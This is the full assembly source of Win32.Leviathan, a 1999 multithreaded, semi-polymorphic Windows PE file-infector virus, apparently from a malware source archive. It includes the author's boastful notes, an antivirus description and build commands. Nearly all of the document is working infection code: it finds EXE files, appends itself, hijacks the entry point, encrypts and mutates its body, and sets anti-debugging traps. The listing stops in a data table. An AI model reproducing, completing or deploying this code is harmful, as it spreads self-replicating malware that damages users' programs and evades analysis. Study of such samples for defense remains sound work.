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MalwareSourceCode/Win32/Infector/Win32.Leviathan.asm

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;======================================
;| Win32.Leviathan (c) 1999 by Benny |
;======================================
;
;
;
;Author's description
;=====================
;
;I'm very proud to introduce my third Win32 virus. This honey is the FIRST MULTITHREADED
;semi-polymorphic antidebuggin' antiheuristic Win32 infector. Thats not all. This is also
;first virus simulatin' NEURAL NETS. Each neuron is simulated as one thread.
;Dendrits (more inputs) and Axons (one output) r coded as normal function parameters.
;Synapses ("conectors" linkin' neurons) r represented as single jumps and synchronizin'
;stuff. In bio-neurons, memory and ability to learn is in fact nothing other than
;swappin' synapses. This virus doesn't contain any learn-abilities, 'cause i've decided,
;there's nothing important to learn. Now, tell me, if u wanna have uncompleted virus that
;needs to teach step by step every shit, u want to be able to do it. I think, u don't
;and I don't want it too. But next version, i will improve it, i swear :-D.
;As u can see, this virus is wrote in very short time (ask Super for reason, hehe),
;so if u will see any errors, mail me to benny@post.cz. I'm expectin' the most errors
;and mistypes will be present in synchronizin' stuff. I know, that method of
;synchronizin' of threads is the worst, I could choose, but it has two reasons - debuggers
;and heuristic scanners. ALL threads r runnin' on the background, so EVERY heuristic
;scanner that wants to detect it MUST support multi-threadin'. That's not easy to code,
;so this is the best anti-heuristic, I know. It works well also for debuggers. When u will
;step this, u will see only some decryptor, some API calls and "infinite" loop. But all
;other stuff is runnin' on the background, so u have to watch all threads. And that's not
;all, u have to watch and skip one "anti-debuggin'" thread, if u hate problems
;with debuggin' :D. And the last thing: This virus is unoptimized, i know that. It's
;simulatin' program written in some HLL language. It uses many instructions, many loops,
;many jumps and many variables. Heuristic scanner must have very large stack to handle
;this babe... (the biggest problem is speed of infected programs, but who cares...:D)
;
;I think, this is the first step of makin' really armoured, anti-debuggin', anti-heuristic
;and (the most important thing) "inteligent" viruses.
;
;
;
;Payload
;--------
;
;If the virus has done at least 30 generation, u will see dialog box with some
;comments.
;
;
;
;AVP's description
;==================
;
;It is not a dangerous nonmemory resident encrypted parasitic Windows32 virus. It searches
;for PE EXE files (Windows executable files) in the current directory, then writes itself
;to the end of the file. While infecting the virus writes itself to the end of last file
;section, increases its size and modifies program's startup address.
;
;Starting from the 30th generation the virus displays the message window, they are different in
;different virus versions:
;
;
;Levi.3040
;----------
;
;Displays the following text:
;
; Win32.Wildfire (c) 1998 Magnic
; I am/I can - The Wildfire virus.
; -d e c o d e-
; idwhereamif73hrjddhffidosyeudifr
; ghfeugenekasperskydjfkdjisfatued
; 938rudandmydickisgrowingehdjfggk
;
;
;Levi.3236
;----------
;
;Displays the following text:
;
; Hey stupid !
; Win32.Leviathan (c) 1999 by Benny
; This is gonna be your nightmare...
; 30th generation of Leviathan is here... beware of me !
; Threads are stripped, ship is sinkin'...
;
; Greetz: Darkman/29A
; Super/29A
; Billy Belcebu/DDT
; and all other 29Aers...
;
; Special greet:
; Arthur Rimbaud
;
; New milenium is knockin on the door...
; New generation of viruses is here, nothing promised, no regret.
;
;
;While infecting the virus runs seven threads from its main procedure. Each thread performs only
;limited set of actions and passes control to next thread: one thread checks system conditions
;and enables second thread that searches for files, then third thread checks the file structure,
;then next thread writes the virus code to the file, e.t.c.
;
;To get access to Windows Kernel32 functions the virus scans victim files for GetModuleHandleA
;and GetModuleHandleW imported functions. In case no these exports found, the virus does not
;affect the file. Otherwise is stores functions' addresses and uses them in its installation
;routine.
;
;
;
;Author's notes
;===============
;
;Bah, as u can see, there r two versions of virus. There is also "a second one" (Win32.Levi.3236).
;When I finished this, I sent it to my friends and to every ppl who wanted to see it (binary only
;ofcoz). L8r, when I was on IRC, IntelServ (in that time, I didn't know, whata jerk IntelServ is)
;changed his nick to "Z0MBie" (in that time nick of one 29Aer) and asked me for source. Yeah,
;that time I didn't know that silly "trick", which many lamers used to get sources from someones.
;I gave that to him and that was BIG mystake. Well, some lamer modified source and made new
;variant of virus. U can see, that new version is smaller and displays another message as payload.
;But thing that made me laughin' and cryin' is date of release that variant prints. It prints
;"1998" year. That lamer wanted to show ya, that he was the first one who coded it. Many ppl
;thought I stolen source code from someone and "improved" that, so I had to explain everyone, I
;was the first and that silly version is stolen one. Here u have original source, so I hope u will
;believe me. And last note: None of any normal coderz could do that. Only lamerz, only ppl that
;can't code anything that would be able to run can do this. Let's say hello to them X-D.
;
;
;
;Greetz
;=======
;
; Darkman/29A............ Thanx for all
; Super/29A.............. Hey, thanx for motivation... X-D
; IntelServ.............. U lame!
; Magnic/WildFire/Lamer.. Hahaha, gewd. And can u code anything else?
; and all coderz......... Trust noone!
;
;
;
;Who is this virus dedicated for?
;=================================
;
;For the best French poetist ever, for Jean-Arthur-Nicolas-Rimbaud.
;
;
;
;How to build
;=============
;
; tasm32 -ml -q -m4 levi.asm
; tlink32 -Tpe -c -x -aa -r levi,,, import32
; pewrsec levi.exe
;
;
;
;Who da fuck is that Leviathan ?
;================================
;
;Open (un)holy book, stupid !
;
;
;
;(c) 1999 Benny. Enjoy!
.386p ;386 protected instructions
.model flat ;32bit offset
include win32api.inc ;some includes
include pe.inc
include mz.inc
include useful.inc
REALTIME_PRIORITY_CLASS = 80h ;constant for changin priorities
extrn GetModuleHandleA:PROC ;needed by first generation
extrn GetModuleHandleW:PROC
extrn ExitProcess:PROC
.data
db ? ;for tlink32's pleasure
ends
.code
Start:
pushad ;push all regs
j1: nop ;here starts decryptorn NOPs r filled with junk bytes
call j2 ;get delta
j2: nop
mov ebp, [esp]
j3: nop
sub ebp, offset j2
j4: nop
lea esi, [ebp + encrypted] ;enrypted stuff start
j5: nop
mov ecx, (virus_end - encrypted + 3) / 4 ;count
j6: nop
mov edi, 0 ;enrypt constant
key = dword ptr $ - 4
j7: nop
decrypt:
xor [esi], edi ;decrypt 4 bytes
j8: nop
add esi, 4 ;next 4 bytes
j9: nop
loop decrypt ;do it ECX times
encrypted:
pop ecx ;delta remainder
mov ecx, offset _GetModuleHandleA - 400000h ;first dendrit
MyGMHA = dword ptr $ - 4
mov eax, offset _GetModuleHandleW - 400000h ;second dendrit
MyGMHW = dword ptr $ - 4
call Neuron_GMH ;call first pseudo-neuron
jecxz error ;error, jump to host
mov [ebp + K32Handle], ecx ;store handle
xchg eax, ecx ;first dendrit
lea esi, [ebp + szAPIs] ;second dendrit
lea edi, [ebp + ddAPIs] ;third
call Neuron_GPA ;call pseudo-neuron
jecxz error ;error ?
call [ebp + ddGetCurrentProcess] ;get pseudo-handle of cur. process
mov esi, eax
push esi
call [ebp + ddGetPriorityClass] ;get current process priority
mov edi, eax
push REALTIME_PRIORITY_CLASS
push esi
call [ebp + ddSetPriorityClass] ;set new one
xchg eax, ecx
jecxz error ;error ?
call Neuron_Init ;Init neurons by pseudo-neuron
jecxz error
n_loop: cmp byte ptr [ebp + JumpToHost], 0 ;can i jump to host ?
je n_loop ;neurons r runnin', wait
push edi
push esi
call [ebp + ddSetPriorityClass] ;set back priority
xor eax, eax ;check for payload
mov al, 29
cmp [ebp + NumOfExecs], eax ;executed for 30x ?
jb error
cmp [ebp + GenerationCount], eax ;30th generation ?
jb error
in al, 40h
and al, 10 ;check tix
cmp al, 2
jne error
call Neuron_PayLoad ;call pseudo-neuron -> payload
error: mov [esp.Pushad_eax], ebp
popad ;recover stack and registers
mov eax, [eax + EntryPoint]
add eax, 400000h
jmp eax ;jump to host
;----------------------------------------------------------------------------------
Neuron_PayLoad Proc
call payload
db 'USER32', 0 ;push this name
payload:
call [ebp + ddLoadLibraryA] ;load USER32.DLL
test eax, eax
je end_payload
mov ebx, eax
lea esi, [ebp + szMessageBoxA]
call GetProcAddress ;find API
xchg eax, ecx
jecxz end_payload ;not found, no payload :-(
push 1000h
lea edx, [ebp + szMsgTitle]
push edx
lea edx, [ebp + szMsgText]
push edx
push 0
call ecx ;display message box
push ebx
call [ebp + ddFreeLibrary]
end_payload:
ret
Neuron_PayLoad EndP
;----------------------------------------------------------------------------------
Neuron_Init Proc
n1: xor eax, eax ;suspend neurons
mov [ebp + nDebugger_run], al
mov [ebp + nFind_run], al
mov [ebp + nCheck_run], al
mov [ebp + nInfect_run], al
mov [ebp + nOpenFile_run], al
mov [ebp + nCloseFile_run], al
mov [ebp + nVersion_run], 1 ;resume first neuron
lea ebx, [ebp + ddThreadID] ;create all threads/neurons
lea esi, [ebp + StartOfNeurons]
lea edi, [ebp + NHandles]
mov ecx, num_of_neurons
InitNeurons:
push ecx
n2: xor eax, eax
push ebx
push eax
push ebp
mov edx, [esi]
add edx, ebp
push edx
push eax
push eax
call [ebp + ddCreateThread] ;create thread
pop ecx
t1: test eax, eax
je init_er
stosd
add esi, 4
loop InitNeurons ;ECX times
init_er:
xchg eax, ecx
ret
Neuron_Init EndP
;----------------------------------------------------------------------------------
Neuron_GMH Proc ;dendrits: EAX - address of GMHW
; ECX - address of GMHA
;axon : ECX - module handle
mov edx, 400000h ;add Image Base
jecxz try_gmhW
add ecx, edx
call szk32a
K32 db 'KERNEL32', 0
szk32a: call [ecx] ;GetModuleHandleA API call
xchg eax, ecx
ret
try_gmhW:
add eax, edx
xchg eax, ecx
jecxz gmh_er
call szk32w
K32W dw 'K','E','R','N','E','L','3','2', 0
szk32w: call [ecx] ;GetModuleHandleW API call
xchg eax, ecx
ret
gmh_er: xor ecx, ecx
ret
Neuron_GMH EndP
;----------------------------------------------------------------------------------
Neuron_GPA Proc ;dendrits: EAX - module handle
; ESI - address of API strings
; EDI - address of API addresses
;axon : ECX = 0, if error
mov ebx, eax
n_gpa: call GetProcAddress ;get API address
t2: test eax, eax
je gpa_er
stosd ;store address
@endsz ;end string
mov eax, ebx
cmp byte ptr [esi], 0ffh ;end of APIs ?
jne n_gpa
ret
gpa_er: xor ecx, ecx ;error, ECX=0
ret
GetProcAddress:
pushad
@SEH_SetupFrame <jmp Proc_Address_not_found>
mov ebx, eax
add eax, [ebx.MZ_lfanew]
mov ecx, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
jecxz Proc_Address_not_found
mov ebp, ebx
add ebp, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
push ecx
mov edx, ebx
add edx, [ebp.ED_AddressOfNames]
mov ecx, [ebp.ED_NumberOfNames]
n3: xor eax, eax
Search_for_API_name:
mov edi, [esp + 16]
mov esi, ebx
add esi, [edx + eax * 4]
Next_Char_in_API_name:
cmpsb
jz Matched_char_in_API_name
inc eax
loop Search_for_API_name
pop eax
Proc_Address_not_found:
n4: xor eax, eax
jmp End_MyGetProcAddress
Matched_char_in_API_name:
cmp byte ptr [esi-1], 0
jne Next_Char_in_API_name
pop ecx
mov edx, ebx
add edx, [ebp.ED_AddressOfOrdinals]
movzx eax, word ptr [edx + eax * 2]
Check_Index:
cmp eax, [ebp.ED_NumberOfFunctions]
jae Proc_Address_not_found
mov edx, ebx
add edx, [ebp.ED_AddressOfFunctions]
add ebx, [edx + eax * 4]
mov eax, ebx
sub ebx, ebp
cmp ebx, ecx
jb Proc_Address_not_found
End_MyGetProcAddress:
@SEH_RemoveFrame
mov [esp.Pushad_eax], eax
popad
ret
Neuron_GPA EndP
;----------------------------------------------------------------------------------
GetProcAddressIT proc ;dendrits: EAX - API name
; ECX - lptr to PE header
; EDX - module name
;axon: EAX - RVA pointer to IAT, 0 if error
pushad
n5: xor eax, eax
push ebp
mov esi, [ecx.MZ_lfanew]
add esi, ecx
mov eax, [esi.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
mov ebp, ecx
push ecx
movzx ecx, word ptr [esi.NT_FileHeader.FH_NumberOfSections]
movzx ebx, word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
lea ebx, [esi.NT_OptionalHeader + ebx]
scan_sections:
mov edx, [ebx.SH_VirtualAddress]
cmp edx, eax
je section_found
sub ebx, -IMAGE_SIZEOF_SECTION_HEADER
loop scan_sections
pop ecx
pop eax
jmp End_GetProcAddressIT2
section_found:
mov ebx, [ebx + 20]
add ebx, ebp
pop ecx
pop eax
test ebx, ebx
je End_GetProcAddressIT2
xor esi, esi
xor ebp, ebp
push esi
dec ebp
Get_DLL_Name:
pop esi
inc ebp
mov edi, [esp + 20]
mov ecx, [ebx.esi.ID_Name]
test ecx, ecx
je End_GetProcAddressIT2
sub ecx, edx
sub esi, -IMAGE_SIZEOF_IMPORT_DESCRIPTOR
push esi
lea esi, [ebx + ecx]
Next_Char_from_DLL:
lodsb
add al, -'.'
jz IT_nup
sub al, -'.' + 'a'
cmp al, 'z' - 'a' + 1
jae no_up
add al, -20h
no_up: sub al, -'a'
IT_nup: scasb
jne Get_DLL_Name
cmp byte ptr [edi-1], 0
jne Next_Char_from_DLL
Found_DLL_Name:
pop esi
imul eax, ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
mov ecx, [ebx + eax.ID_OriginalFirstThunk]
jecxz End_GetProcAddressIT2
sub ecx, edx
add ecx, ebx
xor esi, esi
Next_Imported_Name:
push esi
mov edi, [esp + 32]
mov esi, [ecx + esi]
test esi, esi
je End_GetProcAddressIT3
sub esi, edx
add esi, ebx
lodsw
next_char:
cmpsb
jne next_step
cmp byte ptr [esi-1], 0
je got_it
jmp next_char
next_step:
pop esi
sub esi, -4
jmp Next_Imported_Name
got_it: pop esi
imul ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
add ebx, ebp
mov eax, [ebx.ID_FirstThunk]
add eax, esi
mov [esp + 28], eax
jmp End_GetProcAddressIT
End_GetProcAddressIT3:
pop eax
End_GetProcAddressIT2:
n6: xor eax, eax
mov [esp.Pushad_eax], eax
End_GetProcAddressIT:
popad
ret
GetProcAddressIT EndP
;----------------------------------------------------------------------------------
Neuron_GetVersion Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_getver:
mov ebx, delta_param ;delta offset as dendrit
n7: xor eax, eax
nVersion_susp:
cmp al, 123 ;synchronize
nVersion_run = byte ptr $ - 1
je nVersion_susp
call [ebx + ddGetVersion] ;get version of windoze
xor ecx, ecx
cmp eax, 80000000h
jb WinNT ;WinNT present
cmp ax, 0a04h
jb Win95 ;Win95 present
inc ecx ;probably Win98
Win95: jmp n_gv
WinNT: inc ecx
inc ecx
n_gv: inc dword ptr [ebx + NumOfExecs] ;increment variable
mov [ebx + ndeb_param], cl
mov byte ptr [ebx + nDebugger_run], 1 ;resume thread (synapse)
call ExitThread
Neuron_GetVersion EndP
;----------------------------------------------------------------------------------
ExitThread: ;current thread will be canceled
push 0
call [ebx + ddExitThread]
;----------------------------------------------------------------------------------
Neuron_Debugger Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_debugger:
mov ebx, delta_param ;delta as dendrit1
n8: xor eax, eax
nDebugger_susp:
cmp al, 123 ;synchronize
nDebugger_run = byte ptr $ - 1
je nDebugger_susp
mov cl, 123 ;version of Windoze as dendrit2
ndeb_param = byte ptr $ - 1
cmp cl, 0
je end_debugger
pushad
@SEH_SetupFrame <jmp seh_fn>
push edx
pop dword ptr [edx] ;SEH trap
jmp Win98_trap
seh_rs: mov eax, [ebx + K32Handle]
lea esi, [ebx + szIsDebuggerPresent]
call GetProcAddress ;get API address
xchg eax, ecx
jecxz end_debugger
call ecx ;is debugger present ?
xchg eax, ecx
jecxz end_debugger
cmp bl, 2
je WinNT_trap
Win98_trap:
push 19cdh xor 666
xor word ptr [esp], 666
pop dword ptr [ebx + WinNT_trap] ;int 19h
WinNT_trap:
n9: xor eax, eax ;GP fault
push eax
pop esp
jmp $ - 1
seh_fn: @SEH_RemoveFrame
popad
jmp seh_rs
end_debugger:
mov [ebx + nFind_run], 1 ;resume thread (synapse)
jmp ExitThread
Neuron_Debugger EndP
;----------------------------------------------------------------------------------
Neuron_Find Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_find: mov ebx, delta_param
n10: xor eax, eax
find_susp:
cmp al, 123
nFind_run = byte ptr $ - 1
je find_susp
lea edx, [ebx + WFD]
push edx
lea edx, [ebx + szExt]
push edx
call [ebx + ddFindFirstFileA] ;find first file
xchg eax, ecx
jecxz end_Find
mov [ebx + SearchHandle], ecx ;save handle
check&infect:
lea edx, [ebx + nCheck_run] ;resume check_file neuron
mov al, 1
mov [edx], al
nFind1_wait:
cmp [edx], al
je nFind1_wait
inc eax
cmp [edx], al
je try_next_file
lea edx, [ebx + nInfect_run] ;resume infect_file neuron
mov al, 1
mov [edx], al
nFind2_wait:
cmp [edx], al
je nFind2_wait
try_next_file:
lea edx, [ebx + WFD]
push edx
push [ebx + SearchHandle]
call [ebx + ddFindNextFileA] ;find next file
t3: test eax, eax
jne check&infect
end_Find:
mov al, 11h ;quit-signal to all neurons
mov [ebx + nCheck_run], al
mov [ebx + nInfect_run], al
mov [ebx + nOpenFile_run], al
mov [ebx + nCloseFile_run], al
mov byte ptr [ebx + JumpToHost], al
jmp ExitThread ;quit
Neuron_Find EndP
;----------------------------------------------------------------------------------
Neuron_CheckFile Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_checkfile:
mov ebx, delta_param
n11: xor eax, eax
check_susp:
cmp al, 123
nCheck_run = byte ptr $ - 1
je check_susp
cmp [ebx + nCheck_run], 11h ;quit ?
je ExitThread
xor esi, esi ;discard directories
test byte ptr [ebx + WFD.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
jne end_chkfile
xor ecx, ecx
cmp [ebx + WFD.WFD_nFileSizeHigh], ecx ;discard huge files
jne end_chkfile
mov eax, [ebx + WFD.WFD_nFileSizeLow]
cmp eax, 1000h ;discard file < 4096
jb end_chkfile
n12: xor eax, eax ;open file
inc eax
mov [ebx + nopen_param2], eax
lea eax, [ebx + WFD.WFD_szFileName]
mov [ebx + nopen_param1], eax
lea edx, [ebx + nOpenFile_run] ;synchronizin threads
mov al, 1
mov [edx], al
nCheck1_wait:
cmp [edx], al
je nCheck1_wait
inc eax
cmp [edx], al
je end_closefile
mov edx, [ebx + lpFile]
cmp word ptr [edx], IMAGE_DOS_SIGNATURE ;must be MZ
jne end_closefile
cmp byte ptr [edx.MZ_res2], 0
jne end_closefile
mov ecx, [edx.MZ_lfanew]
jecxz end_closefile
mov eax, [ebx + WFD.WFD_nFileSizeLow] ;valid MZ_lfanew ?
cmp eax, ecx
jb end_closefile
add ecx, edx
cmp dword ptr [ecx], IMAGE_NT_SIGNATURE ;must be PE\0\0
jne end_closefile
cmp word ptr [ecx.NT_FileHeader.FH_Machine], IMAGE_FILE_MACHINE_I386
jne end_closefile ;must be 386+
mov eax, dword ptr [ecx.NT_FileHeader.FH_Characteristics]
not al
test ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL
jne end_closefile ;must be executable, mustnt be DLL
cmp [ecx.NT_OptionalHeader.OH_ImageBase], 400000h ;image base
jne end_closefile
mov esi, 'Levi' ;toggle flag
end_closefile:
n13: xor eax, eax ;close file
mov [ebx + nclose_param2], eax
inc eax
inc eax
mov [ebx + nclose_param1], eax
lea edx, [ebx + nCloseFile_run] ;synchronize threads
mov al, 1
mov [edx], al
nCheck2_wait:
cmp [edx], al
je nCheck2_wait
end_chkfile:
n14: xor eax, eax
cmp esi, 'Levi' ;check flag
je @20
inc eax
inc eax
@20: mov [ebx + nCheck_run], al
jmp check_susp
Neuron_CheckFile EndP
;----------------------------------------------------------------------------------
Neuron_OpenFile Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_openfile:
mov ebx, delta_param
n15: xor eax, eax
open_susp:
cmp al, 123
nOpenFile_run = byte ptr $ - 1
je open_susp
cmp [ebx + nOpenFile_run], 11h ;quit ?
je ExitThread
mov esi, 12345678h
nopen_param1 = dword ptr $ - 4 ;name
mov ecx, 12345678h
nopen_param2 = dword ptr $ - 4
jecxz open_write ;open write mode
xor edi, edi
jmp next_open
open_write:
mov edi, 12345678h ;size
nopen_param3 = dword ptr $ - 4
next_open:
n16: xor eax, eax
dec eax
mov [ebx + lpFile], eax
inc eax
push eax
push eax
push OPEN_EXISTING
push eax
mov al, 1
push eax
ror eax, 1
mov ecx, edi
jecxz $ + 4
rcr eax, 1
push eax
push esi
call [ebx + ddCreateFileA] ;open file
cdq
xor esi, esi
mov [ebx + hFile], eax
inc eax
je end_OpenFile
dec eax
push edx
push edi
push edx
mov dl, PAGE_READONLY
mov ecx, edi
jecxz $ + 4
shl dl, 1
push edx
push esi
push eax
call [ebx + ddCreateFileMappingA] ;create mapping of file
cdq
xchg eax, ecx
mov [ebx + hMapFile], ecx
jecxz end_OpenFile2
push edi
push edx
push edx
mov dl, FILE_MAP_READ
test edi, edi
je $ + 4
shr dl, 1
push edx
push ecx
call [ebx + ddMapViewOfFile] ;map file to address space
xchg eax, ecx
mov [ebx + lpFile], ecx
jecxz end_OpenFile3
xor eax, eax
jmp @e
end_OpenFile:
mov al, 2
@e: mov [ebx + nOpenFile_run], al
jmp open_susp
end_OpenFile2:
mov [ebx + nclose_param1], ecx
mov al, 1
lea edx, [ebx + nCloseFile_run]
mov [edx], al
nOpen_wait:
cmp [edx], al
je nOpen_wait
n17: xor eax, eax
inc eax
inc eax
mov [ebx + nOpenFile_run], al
jmp open_susp
end_OpenFile3:
inc ecx
jmp end_OpenFile2
Neuron_OpenFile EndP
;----------------------------------------------------------------------------------
Neuron_CloseFile Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_closefile:
mov ebx, delta_param
n18: xor eax, eax
close_susp:
cmp al, 123
nCloseFile_run = byte ptr $ - 1
je close_susp
cmp [ebx + nCloseFile_run], 11h ;quit ?
je ExitThread
mov ecx, 12345678h ;mode
nclose_param1 = dword ptr $ - 4
jecxz @10
cmp cl, 1
je @11
mov edi, 12345678h
nclose_param2 = dword ptr $ - 4
push [ebx + lpFile]
call [ebx + ddUnmapViewOfFile] ;unmap view of file
@11: push [ebx + hMapFile]
call [ebx + ddCloseHandle] ;close mapping object
test edi, edi
je @10
mov esi, [ebx + hFile]
n19: xor eax, eax
push eax
push eax
push edi
push esi
call [ebx + ddSetFilePointer] ;set file pointer to EOF
push esi
call [ebx + ddSetEndOfFile] ;trucate file
@10: lea eax, [ebx + WFD.WFD_ftLastWriteTime]
push eax
lea eax, [ebx + WFD.WFD_ftLastAccessTime]
push eax
lea eax, [ebx + WFD.WFD_ftCreationTime]
push eax
push esi
call [ebx + ddSetFileTime] ;set back file time
push [ebx + hFile]
call [ebx + ddCloseHandle] ;close time
mov byte ptr [ebx + nCloseFile_run], 0
jmp n_closefile
Neuron_CloseFile EndP
;----------------------------------------------------------------------------------
Neuron_InfectFile Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_infectfile:
mov ebx, delta_param
n20: xor eax, eax
inf_susp:
cmp al, 123
nInfect_run = byte ptr $ - 1
je inf_susp
cmp [ebx + nInfect_run], 11h ;quit ?
je ExitThread
xor esi, esi
push esi
lea edi, [ebx + WFD.WFD_szFileName]
push edi
call [ebx + ddSetFileAttributesA] ;blank file attributes
t4: test eax, eax
je end_InfectFile
mov [ebx + nopen_param1], edi
mov [ebx + nopen_param2], esi
mov eax, [ebx + WFD.WFD_nFileSizeLow]
add eax, virus_end - Start + 5000
mov [ebx + nopen_param3], eax
lea edx, [ebx + nOpenFile_run] ;open file
n21: xor eax, eax
inc eax
mov [edx], al
inf_wait:
cmp [edx], al
je inf_wait
dec eax
dec eax
mov ecx, [ebx + lpFile]
cmp ecx, eax
je end_InfectFile
lea eax, [ebx + szGetModuleHandleA]
lea edx, [ebx + K32]
call GetProcAddressIT ;search for GMHA in IT
t5: test eax, eax
jne stoK32
lea eax, [ebx + szGetModuleHandleW]
call GetProcAddressIT ;search for GMHW in IT
t6: test eax, eax
je end_InfectClose
mov [ebx + MyGMHW], eax
n22: xor eax, eax
stoK32: mov [ebx + MyGMHA], eax
mov edx, [ebx + lpFile]
push edx
push edx
add edx, [edx.MZ_lfanew]
push ebp
movzx esi, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader]
lea esi, [edx.NT_OptionalHeader + esi] ;locate first section
movzx ecx, word ptr [edx.NT_FileHeader.FH_NumberOfSections] ;get number of sctnz
mov edi, esi ;get LAST section
n23: xor eax, eax
push ecx
BSection:
cmp [edi.SH_PointerToRawData], eax
je NBiggest
mov ebp, ecx
mov eax, [edi.SH_PointerToRawData]
NBiggest:
sub edi, -IMAGE_SIZEOF_SECTION_HEADER
loop BSection
pop ecx
sub ecx, ebp
imul eax, ecx, IMAGE_SIZEOF_SECTION_HEADER
add esi, eax
mov edi, dword ptr [esi.SH_SizeOfRawData]
mov eax, virtual_end - Start
push edi
lea edi, [esi.SH_VirtualSize] ;new virtual size of section
push dword ptr [edi]
add [edi], eax
mov eax, [edi]
push edx
mov ecx, [edx.NT_OptionalHeader.OH_FileAlignment]
xor edx, edx
div ecx
xor edx, edx
inc eax
mul ecx
mov [esi.SH_SizeOfRawData], eax ;new SizeOfRawData (aligned virtual size)
mov ecx, eax
pop edx
pop ebp
add ebp, [esi.SH_VirtualAddress]
mov eax, [edx.NT_OptionalHeader.OH_AddressOfEntryPoint]
pop edi
push eax
mov eax, [ebx + EntryPoint]
pop [ebx + EntryPoint]
mov [edx.NT_OptionalHeader.OH_AddressOfEntryPoint], ebp
sub ecx, edi
add [edx.NT_OptionalHeader.OH_SizeOfImage], ecx ;new SizeOfImage
or byte ptr [esi.SH_Characteristics.hiw.hib], 0e0h ;change flags
pop ebp
pop edi
mov byte ptr [edi.MZ_res2], 1
add edi, [esi.SH_PointerToRawData]
add edi, [esi.SH_VirtualSize]
add edi, Start - virtual_end
lea esi, [ebx + buffer]
mov ecx, (virus_end - Start + 3) / 4
inc dword ptr [ebx + GenerationCount]
call Mutate
rep movsd ;copy virus
mov [ebx + EntryPoint], eax ;restore variable after copy stage
pop edx ;get start of MM-file
sub edi, edx ;calculate new size
jmp @30
end_InfectClose:
mov edi, [ebx + WFD.WFD_nFileSizeLow]
@30: mov byte ptr [ebx + nclose_param1], 2
mov [ebx + nclose_param2], edi ;close file
n24: xor eax, eax
inc eax
lea edx, [ebx + nCloseFile_run]
mov [edx], al
@40: cmp [edx], al
je @40
end_InfectFile:
push [ebx + WFD.WFD_dwFileAttributes]
lea edi, [ebx + WFD.WFD_szFileName]
push edi
call [ebx + ddSetFileAttributesA] ;set back file attributes
mov [ebx + nInfect_run], 0
jmp n_infectfile
Neuron_InfectFile EndP
;----------------------------------------------------------------------------------
Mutate Proc
pushad ;store all regs
;first stage will rebuild some instructions with others, that does same thing
; - this is part of polymorphism
;1) nulify eax register
_mut_: lea esi, [ebx + nPoints] ;start of address table
mutate: lodsd ;load first address
t7: test eax, eax
je next_mutate ;end ?
mut_jmp = dword ptr $ - 2
je end_mutate
mov edi, eax
add edi, ebx ;correct by delta offset
in al, 40h ;get pseudo-random number
and al, 2 ;truncate
je mut1
cmp al, 1
je mutate
mov ax, 0
org $ - 2
c1: xor eax, eax
jmp op_st1 ;rewrite with xor eax, eax opcode
mut1: mov ax, 0
org $ - 2
c2: sub eax, eax
op_st1: stosw
jmp mutate
next_mutate:
;2) test for eax
mov dword ptr [ebx + mutate - 4], offset tPoints
mov word ptr [ebx + mut_jmp], 9090h
mov word ptr [ebx + c1], 0
org $ - 2
test eax, eax
mov word ptr [ebx + c2], 0
org $ - 2
or eax, eax
jmp mutate
;this will crypt our body and insert some junk instructions randomly
end_mutate:
lodsd
test eax, eax
je _crypt_
xchg eax, edi
add edi, ebx
xor eax, eax
push esi
lea esi, [ebx + junx]
in al, 40h
and al, num_of_junx
add esi, eax
lodsb
pop esi
stosb
jmp end_mutate
_crypt_:
;generate pseudo-random key
in ax, 40h
shl eax, 16
in ax, 40h
xchg eax, edx
mov [ebx + key], edx
;copy decryptor
lea esi, [ebx + Start]
lea edi, [ebx + buffer]
mov ecx, encrypted - Start
rep movsb
;crypt body
mov ecx, (virus_end - encrypted + 3) / 4
crypt: lodsd
xor eax, edx
stosd
loop crypt
popad
ret
Mutate EndP
;----------------------------------------------------------------------------------
EntryPoint dd offset ExitProcess - 400000h
;xor eax, eax
nPoints: irp Num, <1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24>
dd offset n&Num
endm
nCount = ($ - nPoints)/4
dd 0
;test eax, eax
tPoints: irp Num, <1,2,3,4,5,6,7>
dd offset t&Num
endm
tCount = ($ - tPoints)/4
dd 0
;junk address table
jPoints: irp Num, <1,2,3,4,5,6,7,8,9>
dd offset j&Num
endm
dd 0
junx: clc ;junk instructions
cmc
stc
nop
cld
std
lahf
cwde
cdq
inc eax
dec eax
inc edx
dec edx
num_of_junx = dword ptr $ - offset junx - 1
NumOfExecs dd ?
GenerationCount dd ?
StartOfNeurons:
dd offset Neuron_Debugger
dd offset Neuron_Find
dd offset Neuron_CheckFile
dd offset Neuron_OpenFile
dd offset Neuron_CloseFile
dd offset Neuron_InfectFile
dd offset Neuron_GetVersion
num_of_neurons = 7
szGetModuleHandleA db 'GetModuleHandleA', 0
szGetModuleHandleW db 'GetModuleHandleW', 0
szAPIs:
szCreateThread db 'CreateThread', 0
szExitThread db 'ExitThread', 0
szGetVersion db 'GetVersion', 0
szFindFirstFileA db 'FindFirstFileA', 0
szFindNextFileA db 'FindNextFileA', 0
szFindClose db 'FindClose', 0
szCreateFileA db 'CreateFileA', 0
szCreateFileMappingA db 'CreateFileMappingA', 0
szMapViewOfFile db 'MapViewOfFile', 0
szUnmapViewOfFile db 'UnmapViewOfFile', 0
szCloseHandle db 'CloseHandle', 0
szSetFilePointer db 'SetFilePointer', 0
szSetEndOfFile db 'SetEndOfFile', 0
szSetFileTime db 'SetFileTime', 0
szSetFileAttributesA db 'SetFileAttributesA', 0
szGetCurrentProcess db 'GetCurrentProcess', 0
szGetPriorityClass db 'GetPriorityClass', 0
szSetPriorityClass db 'SetPriorityClass', 0
szLoadLibraryA db 'LoadLibraryA', 0
